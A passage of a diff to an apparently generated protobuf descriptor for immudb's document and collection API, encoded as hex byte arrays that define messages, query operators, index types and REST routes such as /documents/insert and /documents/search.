0x65, 0x6e, 0x74, 0x22, 0x64, 0x0a, 0x20, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x46, 0x69, 0x6e, 0x64, 0x4f, 0x6e, 0x65, 0x41, 0x6e, 0x64, 0x55, 0x70, 0x64, 0x61, - 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, - 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, - 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x2a, 0x49, 0x0a, 0x0d, - 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, - 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, - 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, - 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, - 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x2a, 0x30, 0x0a, 0x09, 0x49, 0x6e, 0x64, 0x65, 0x78, - 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x00, - 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, 0x0a, 0x0a, - 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x32, 0xb7, 0x0f, 0x0a, 0x0f, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x99, 0x01, - 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, - 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x2a, 0x0a, 0x14, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, + 0x61, 0x6d, 0x65, 0x22, 0x17, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x68, 0x0a, 0x16, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4e, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, + 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x96, 0x02, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, + 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, + 0x65, 0x12, 0x5e, 0x0a, 0x0a, 0x61, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, + 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x41, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x61, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, + 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, + 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0d, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, + 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x1a, 0x61, 0x0a, 0x0f, 0x41, 0x64, 0x64, 0x49, 0x6e, + 0x64, 0x65, 0x78, 0x65, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, + 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, + 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x72, 0x0a, 0x19, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x09, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x22, 0x64, 0x0a, 0x1a, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x49, 0x64, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0b, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, + 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, + 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x2a, 0x49, + 0x0a, 0x0d, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, + 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, + 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, + 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, + 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x2a, 0x30, 0x0a, 0x09, 0x49, 0x6e, 0x64, + 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, + 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, + 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x32, 0xf3, 0x0d, 0x0a, 0x0f, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, + 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, + 0x72, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, + 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, + 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, - 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x2c, 0x2e, 0x69, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, + 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, - 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, + 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, + 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, - 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, - 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, + 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, - 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, - 0x64, 0x69, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, - 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, - 0x6f, 0x66, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, + 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, + 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, - 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, + 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, + 0x69, 0x74, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, + 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, + 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, + 0x74, 0x12, 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 